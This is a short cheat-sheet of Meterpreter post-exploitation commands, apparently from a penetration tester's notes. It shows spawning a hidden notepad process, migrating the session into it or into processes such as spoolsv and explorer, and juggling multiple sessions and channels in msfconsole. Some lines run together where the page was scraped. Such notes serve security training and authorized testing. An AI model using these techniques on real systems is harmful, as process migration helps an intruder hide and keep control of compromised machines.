Meterpreter Tricks
https://jlajara.gitlab.io/process-migration
Migrate meterpreter to another process
execute new notepad
meterpreter> execute -H -f notepad
# Output: Process 1234 created.migrate connection to notepad
meterpreter> migrate 1234
# Output: Migration completed successfullyor you can search some reliable program to migrate to.
meterpreter> ps -S spoolsv
# OR
meterpreter> ps -S explorerrun migration with this format migrate <Target PID>
Manage multi session
example
make sure you listen in msfconsole and have last connection shell
ctrl + zto background current session
you will back to
meterpreter>, then background again.
run listener but as a background
back to the session 1
If you need to perform another shell, you can run channel 2 in session 1
launch new shell, to get another shell in channel 2 in session 1.
wanna get back to the session 2?
make sure you background the current channel in session 1
Interact with session 2
Last updated